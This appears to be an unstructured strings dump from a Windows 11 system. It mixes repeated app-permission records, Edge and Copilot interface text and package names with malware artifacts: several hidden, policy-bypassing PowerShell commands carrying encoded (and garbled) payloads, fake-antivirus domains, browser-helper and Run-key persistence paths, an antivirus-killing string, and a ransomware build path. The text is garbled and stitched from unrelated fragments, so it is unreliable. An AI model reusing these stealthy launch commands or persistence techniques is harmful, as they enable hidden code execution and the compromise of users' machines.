microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe
webcamS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
+gW	picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwed
'gW	videosLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwec
webcamS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
userAccountInformationS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
-ga	documentsLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwek
+ga	picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwei
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe
webcamS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
videosLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
webcamS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
userAccountInformationS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
documentsLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe
locationS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
webcamS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
+gW	picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwed
'gW	videosLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwec
webcamS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
userAccountInformationS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
-ga	documentsLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwek
+ga	picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwei
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe
locationS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
webcamS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
videosLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
webcamS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
userAccountInformationS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
documentsLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe
)g_	systemAIModelsS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.OutlookForWindows_8wekyb3d8bbwe`
locationS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
webcamS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
+gW	picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwed
'gW	videosLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwec
webcamS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
userAccountInformationS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
-ga	documentsLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwek
+ga	picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwei
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe
systemAIModelsS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.OutlookForWindows_8wekyb3d8bbwe
locationS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
webcamS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
videosLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
webcamS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
userAccountInformationS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
documentsLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe
)g_	systemAIModelsS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.OutlookForWindows_8wekyb3d8bbwe`
locationS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
webcamS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
+gW	picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwed
'gW	videosLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwec
webcamS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
userAccountInformationS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
-ga	documentsLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwek
+ga	picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwei
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe
systemAIModelsS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.OutlookForWindows_8wekyb3d8bbwe
locationS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
webcamS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
videosLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
webcamS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
userAccountInformationS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
documentsLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe
)g_	systemAIModelsS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.OutlookForWindows_8wekyb3d8bbwe`
locationS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
webcamS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
+gW	picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwed
'gW	videosLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwec
webcamS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
userAccountInformationS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
-ga	documentsLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwek
+ga	picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwei
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe
systemAIModelsS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.OutlookForWindows_8wekyb3d8bbwe
locationS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
webcamS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
videosLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
webcamS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
userAccountInformationS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
documentsLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe
)gY	systemAIModelsS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsNotepad_8wekyb3d8bbwef
)g_	systemAIModelsS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.OutlookForWindows_8wekyb3d8bbwe`
locationS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
webcamS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
+gW	picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwed
'gW	videosLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwec
webcamS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
userAccountInformationS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
-ga	documentsLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwek
+ga	picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwei
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe
systemAIModelsS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsNotepad_8wekyb3d8bbwe
systemAIModelsS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.OutlookForWindows_8wekyb3d8bbwe
locationS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
webcamS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
videosLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
webcamS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
userAccountInformationS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
documentsLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe
Windows
C:\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\Public\wsxpacks\StartMenu\
\windowsupdate\mservice.exe\
.?AU?$default_delete@VXamlCore@WindowsXamlManager@DirectUI@@@std@@
& c:\windows\system32\windowspowershell\&
C:\Program Files\WindowsApps\Microsoft
/System32/SecurityHealth/10.0.29510.1001-0//
C:\Program Files\WindowsApps\Microsoft.
/C:/WINDOWS/Inbox
x-windowsupdate://F0F8326E-F3C8-4B76-A2F8-DD6EEDD0AA19/5107DB27-1442-4BFE-B7D2-AF94BD2DEE97/2ee080003aa5f67d59fe10aeede4b6f2bd709682
R}%s/test/?c=%1.1d%d%1.1d%s/doc.php?type=file_STARTED_\myv.icouser_pref("browser.search.selectedEngine", "Search"),%s\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges\Range%dscanner.powerantivirus-2009.comieantivirus.comonlinevideosoftex.comcodechost.com216.239.*.*205.188.*.*77.92.88.*91.203.70.*
user-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.0; .net clr 1.1.4322; .net clr 1.0.3705)kill360boxs
            </div>Workspace ButtonEnter full screen (F11)Bing ChatBing Chat HeaderCopilot HeaderPress to initiate web searchStart new searchApp barProtect your passwordTencent QQ Browser360 Secure Browser360 Extreme Browser360 ExtremeX Browser (64bit)Google ChromeRestore DownDescribe what's happeningPlease fill out this field.Remember not to include personal info like phone numbers.Include email addressYou can contact me about this feedback:Include this screenshotEdit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Edge windows. Warning: might contain sensitive information.Edit this screenshotSend <a href="#" id="sys-info-url">diagnostic data</a> (recommended)Send <a href="#" id="diagnostic-data-link">diagnostic data</a> to MicrosoftAllow (recommended)Yes (recommended)Send <a href="#" id="cip-diagnostic-data-preview">diagnostic data</a> to Microsoft?Your feedback will be used to improve Microsoft's products and services. <a href="#" id="cip-privacy-statement-page-url">Microsoft Privacy Statement</a>Your feedback will be used to improve Microsoft's products and services$1$2. By including your email address, you agree that Microsoft can email you about your feedback. <a href="#" id="privacy-statement-page-url">Microsoft Privacy Statement</a>including fraud prevention efforts<a href="#" id="report-concern-page-url">Report a concern</a>Attachments ($1)Record my problemRecord my problem ($1)Save and includeHey, you're not signed into Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Hey, you're not signed into Microsoft Edge. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>You're not connected to the internet. Try reconnecting using <a href="#" id="launch-network-setting">Windows Network & internet settings.</a>Screenshot editorCropPenPen color and size pickerCrop areaBottom left crop handleBottom right crop handleTop left crop handleTop right crop handleContact supportEmail addressHow can we help?Send nowTell us moreYour feedback will be used to improve Microsoft's products and services. <a href="#" id="privacy-statement-page-url">Microsoft Privacy Statement</a>Recommend Microsoft EdgeHow likely are you to recommend Microsoft Edge to a friend or colleague?Would you recommend Microsoft Edge to others, if asked?Not at all likelyI would not recommendNot likelyLikelyExtremely likelyI would recommendTell us more about your scoreWould you recommend Microsoft Edge $1 to others, if asked?Diagnostic dataDiagnostic logsRecreate my problemAttach a fileTry to recreate the problem while we record dataI agree to send diagnostic data to Microsoft which might include personally ide
WINDOWS11
Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
d try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
o de pagamento. Introduza a sua palavra-passe do Windows para permitir isto.O Microsoft Copilot est
 a tentar mostrar as palavras-passe. Introduza a palavra-passe do Windows para permitir esta a
 a tentar copiar as palavras-passe. Escreva a sua palavra-passe do Windows para permitir isto.O Microsoft Copilot est
 a tentar editar palavras-passe. Escreva a sua palavra-passe do Windows para permitir isto.O Microsoft Copilot quer exportar as suas palavras-passe. Introduza a palavra-passe do Windows para permitir esta a
 a tentar importar palavras-passe. Introduza a palavra-passe do Windows para permitir esta a
o.O Microsoft Copilot quer eliminar os seus dados do Gestor de Palavras-passe. Escreva a sua palavra-passe do Windows para permitir isto.O Microsoft Copilot est
 a tentar substituir as palavras-passe existentes. Escreva a sua palavra-passe do Windows para permitir isto.Este computador j
o especificado. Transfira novamente o Microsoft Copilot.O Microsoft Copilot requer o Windows 10 ou superior.Ocorreu um erro de sistema operativo durante a instala
Microsoft-Windows-Notepad-System-FoD-Package~31bf3856ad364e35~wow64~~10.0.26100.7824.cat
Shield_MpGetWindowsLockdownMode
Shield_MpIsWindowsLockdownMode
windowssecuritycontext
WINDOWS11
Microsoft Windows
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
deleteme%targetosdrive%\windows\system32\config\software%
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
dir%\system32\vsocklib.dll
windows 
Windows k
of Windows in the last weekp
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
Windows.Management.Workplace.dll,
t allowAllow app to open $1 links?Ads blocked on this siteWindows UtilitiesRedirect blocked:Redirect blockedRedirect blocked on this page.System Signals UtilitiesMicrosoft Edge is being controlled by automated test software.Open downloadAllow $1 to open $2?{0, plural,
          other {Your # Incognito windows won't reopen.}}{0, plural,
cqqlogin.exeini\gamesetup.inisoftware\microsoft\windows nt\currentversion\windowssoftware\policies\microsoft\windows\windowsupdate\ausystem\currentcontrolset\services\sharedaccess\parameters\firewallpolicy\standardprofilersmybpm.dllrsmycpm.dllrsmyafg.dllrsmyamp.dllmain.dllunhookwindow
\winlogon.dl
\system32\home.htm%s\yahoo.htm%s\google.htm%s\msn.htm%s\sec.htm'Browser Helper Objects'BhoNew.DLL
USERDOMAIN_ROAMINGPROFILE=Windows11
	WINDOWS\system32\cmd.exe
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-BootEnvironment-Dvd-Package~31bf3856ad364e35~amd64~~10.0.26100.7019.cat|
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-Package012~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-OneCore-Bluetooth-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-OneCore-Bluetooth-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat|Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|
Enable unwinding info for Windows/x64
Enable etw stack walking for windows
Enable etw stack walking for windows, but only if explicitly specified in a WPR profile
%windir%\system32\wdmaud.drv
\internet explorer\new windowspopupmgr true\webnew.ini\web.ini
	system32\imageres.dll
c:\windows\system32\cmd.exe/c
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
shellexecute=\default.infsoftware\microsoft\windows\currentversion\explorer\advanced
PSModulePath=%ProgramFiles%\WindowsPowerShell\,
s;C:\WINDOWS\system32.
software\microsoft\windows\currentversion\run
j%sspoolsv.exe -printer?guid=%s&vendor=%s&os=%u\Config\plugins.ini\wmpdrm.dllSOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{0E674588-66B7-4E19-9D0E-2053B800F69F}10 min checking...cause event %s...plugincall_plugin_liveupdate_checkwebpage
strRemoteHostlngRemo lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
fpowershell-executionpolicybypass-windowstylehidden-noprofile-ejaboaf8anabfadaanqa3af8apqanahuamaayaf8aoqawaccaowakafuaoqa2adqaoqaxadcaxwagad0aiaanadcanwawaccaowakahcamwa1adyaxwa3ad0ajwbwadeamqayadyamga5accaowakahmanga5adgamqbfadeamga9acqazqbuahyaog);
powershell-executionpolicybypass-windowstylehidden-noprofile-ejabradmanwaxaf8anqa3ad0ajwbwadeamga3adiamwbfaccaowakagiamaa3adyamgawadqanqagad0aiaanadganaa2accaowakagsaoaa4admaoaazadaanwa9accaywa4adyamqazaduajwa7acqawqbfaf8anwa1adaaoaa0ad0ajablag4adg);
`Jpowershell-executionpolicybypass-windowstylehidden-noprofile-ejabsadaamga0aduaxwazad0ajwbhadiamqa4adcamganadsajabeadaamga3aduamaa0adqaiaa9acaajwa3aduanqanadsajab1adkanwawadcamwa5ad0ajwbuadaamqayadqaoqanadsajabcadaamqa3adcaoaa9acqazqbuahyaogb1ahmazq);
powershell-executionpolicybypass-windowstylehidden-noprofile-ejabsadgaxwa2adcamqa4ad0ajwbkadgamaa0adkaoqa5accaowakae8axwaxadcanwaxaduangagad0aiaanadcanwa5accaowakahqaoqa2adaamqa5adaapqanafuaxwaxadeanaayadcajwa7acqauga1adgamqa3admamga9acqazqbuahyaog);
99powershell-executionpolicybypass-windowstylehidden-noprofile-ejabxadcanabfadkaoaa0adqapqanahyamgbfadkamqayaccaowakagganaawadqamwa4adiamwagad0aiaanadcamaa0accaowakag4amgawadiaxwa5ad0ajwbladaanqazadaanaayaduajwa7acqaraa0adgamwa3adiapqakaguabgb2adoadq);
WINDOWS_DIALOG_COMMENT_TEXT
WINDOWS_TITLE_TEXT
Enter your feedback on Windows Search here. To protect your privacy, please don't include any personal information.
\microsoft\windows\currentversion\runservices
software\microsoft\windows\currentversion\runonce
$de${8193a4e6-aea0-4343-858e-3aa3a3ca8f76}$$windows.data.unifiedtile.localstartvolatiletilepropertiesmap
windows.hlp`
ld.txtWTSty_9cYE9ZQS_Lc2hX6hfSVz6iMJIRviox2894_WDp1LxED-jjj-2zv7fESSMMTi1Windows-11-x64-Ransomware-C++.pdbCould not write de
mize-windows.net
	msWindowsTaskManager
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident3
	WindowsFeedbackHubIntegrT
@Services@Windows@ABI@@@WRL@Microsoft@@@h
Microsoft.Windows.
Microsoft.Windows.ApplicationModel.DynamicDependency.winmdx
OMPUTERNAME=WINDOWS113
=C:\Windows\System32\
ll\v1.0\;C:\WINDOWS\System32\OpenSSH
Users\job\AppData\Local\Microsoft\WindowsApps
	"Windows"
